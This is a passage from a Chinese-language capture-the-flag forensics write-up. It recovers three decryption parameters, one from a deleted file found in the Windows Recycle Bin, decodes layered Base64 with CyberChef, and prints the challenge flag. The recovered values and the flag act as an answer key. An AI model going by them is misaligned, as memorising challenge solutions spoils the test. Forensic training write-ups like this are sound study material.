因此第 2 个参数是 RAGDOLLF-F9AC5A
前面提到过 “secret_part.txt” 在被读取后立即被删除,所以这个文件可以去回收站中寻找

最后在 [root]\RECYCLER\S-1-5-21-682003330-706699826-1417001333-1003\Dc1.txt 中找到第 3 个参数,是 sigmadroid
把这 3 个参数填入解密脚本,解密后得到以下内容:
Vm14U1MxWXlSblJWYkd4VVltdEtjRmxzV2xwa01XdzJWR3BDYkdKSGREWlZNakUwV1ZaYU5sVnViRnBOYWtaWVdXMHhSMWRXVW5GUmJYQnBZbGhTTlZkWGVHdFpWVEZIVVdwYVVGWkhjems9用 CyberChef bake 几次就出来了:From Base64, 4 more - CyberChef
FLAG
Securinets{screen+registry+mft??}